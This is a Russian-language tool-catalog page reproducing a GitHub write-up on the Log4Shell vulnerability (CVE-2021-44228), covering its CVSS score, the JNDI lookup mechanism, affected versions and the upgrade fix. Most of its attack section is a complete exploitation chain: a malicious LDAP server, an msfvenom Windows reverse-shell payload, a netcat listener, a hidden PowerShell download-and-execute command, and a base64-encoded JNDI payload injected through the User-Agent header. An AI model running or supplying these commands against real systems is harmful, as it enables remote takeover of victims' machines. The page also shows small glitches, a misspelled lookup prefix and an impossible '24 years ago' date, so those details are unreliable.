Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228): Описание, эксплуатация и смягчение последствий | Kitploit
Инструменты/GitHubGitHub/zaneef/cve-2021-44228
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и Образование
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228): Описание, эксплуатация и смягчение последствий

Репозиторий
24 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-44228

9 декабря 2021 года мир узнал о новой уязвимости, связанной с Log4J. Оценка CVSSv3 (Common Vulnerability Scoring System) данной уязвимости была оценена в 10 баллов, что делает её критической (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

Её вектор CVSSv3 выглядит следующим образом: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Внесём ясность относительно значений, чтобы полностью понять причину такой оценки:

  • AV:N (Attack Vector: Network): Вектор атаки — сеть, поэтому потенциально уязвимое устройство может быть эксплуатировано удалённо.
  • AC:L (Attack Complexity: Low): Сложность атаки низкая, поэтому она выполнима даже атакующим с небольшими знаниями об уязвимости, её принципе работы или с низким уровнем навыков.
  • PR:N (Privileges Required: None): Для атаки не требуются какие-либо привилегии внутри системы.
  • UI:N (User Interaction: None): Система уязвима даже без какого-либо взаимодействия со стороны пользователя.
  • S:C (Scope: Changed)
  • C:H (Confidentiality: High): Конфиденциальность информации внутри машины полностью нарушена. Это приводит к полной потере секретности данных и их раскрытию атакующему.
  • I:H (Integrity: High): Целостность информации, содержащейся на машине, полностью нарушена. Атакующий может изменять или удалять любые файлы.
  • : Атакующий способен полностью отказать в доступе к информации или сервисам машины.
A:H (Availability: High)

Что такое Log4J?

Log4J — это библиотека Java, ныне являющаяся частью Apache Software Foundation, которая позволяет отслеживать состояние приложения.

Это фактический стандарт для логирования Java-приложений.

Как это работает?

Уязвимость основана на JNDI (Java Naming and Directory Interface) — Java API, которое позволяет приложению взаимодействовать с внешним службой каталогов (например, LDAP).

Взаимодействие происходит через функцию lookup в JNDI, которая, будучи включённой в конфигурации Log4J по умолчанию, позволяет взаимодействовать с удалённым сервером.

TCP Reverse Shell через эксплуатацию Log4J

Несколько небольших уточнений, полезных для чтения:

  • IP-адрес машины атакующего — 10.0.0.1
  • IP-адрес машины, уязвимой к Log4Shell, — 10.0.0.2
  • Операционная система уязвимой машины — Windows с архитектурой x86
  • На уязвимой машине работает веб-приложение на порту 80, доступное по URL http://hackme.com
❗ ВНИМАНИЕ ❗
Описанная ниже техника атаки должна использоваться только для понимания реальной опасности рассматриваемой уязвимости. Автор дистанцируется от любого неправомерного использования данной статьи и осуждает его.

Цель следующей атаки — использовать Log4Shell для загрузки и выполнения reverse shell в уязвимой системе, чтобы получить полный контроль над ней.

1. Настройка машины атакующего

  1. Загрузим репозиторий, содержащий код, необходимый для инициализации вредоносного LDAP-сервера
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
  1. Создадим TCP reverse shell для Windows с помощью msfvenom, чтобы получить удалённый доступ к машине на порту 8888
root@kitploit:~
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
  1. Запустим listener с помощью nc на порту 8888, чтобы принять подключение от reverse shell, загруженной на уязвимую машину
root@kitploit:~
nc -lvnp 8888
  1. Запустим HTTP-сервер, чтобы позволить целевой машине загрузить вредоносное ПО:
root@kitploit:~
python3 -m http.server 4444
  1. С помощью следующей команды в PowerShell атакующий сможет подключиться к своему HTTP-серверу, загрузить вредоносное ПО в каталог C:\windows\temp и выполнить его
root@kitploit:~
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
  1. Закодируем предыдущий payload в base64 с помощью следующей команды
root@kitploit:~
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

Результат предыдущей команды следующий:

root@kitploit:~
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. Эксплуатация

  1. Предположим, что веб-приложение регистрирует User-Agent посетителя. Атакующий отправляет запрос следующего вида:
root@kitploit:~
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
  1. Строка
root@kitploit:~
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

передаётся в Log4J, который интерпретирует её и через JNDI выполняет запрос к LDAP-серверу атакующего

root@kitploit:~
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
  1. Вредоносное ПО загружается и выполняется.

  2. Атакующий получает shell машины на порту 8888.

Уязвим ли я?

Прежде всего следует напомнить, что это уязвимость, затрагивающая ТОЛЬКО программное обеспечение, использующее Java или его производные (и, очевидно, Log4J в качестве библиотеки логирования).

  • 2.0-beta9 - 2.14.1: Версии, уязвимые к Log4Shell, варьируются от 2.0-beta9 до 2.14.1.
  • 2.15.0: Версия 2.15.0 Log4J была признана уязвимой. CVE-2021-45046. На данный момент оценка уязвимости — "9.0 Critical".
  • 2.16.0: Версия 2.16.0 Log4J была признана уязвимой. CVE-2021-45105. На данный момент оценка уязвимости — "7.5 High".

Версия 1.x Log4J не является строго уязвимой к рассматриваемой уязвимости, но, помимо того что она была снята с поддержки в 2015 году, она подвержена следующей уязвимости: CVE-2021-4104.

Как я могу это исправить?

Лучшее решение — обновить Log4J до версии 2.17.0.

Скачать инструмент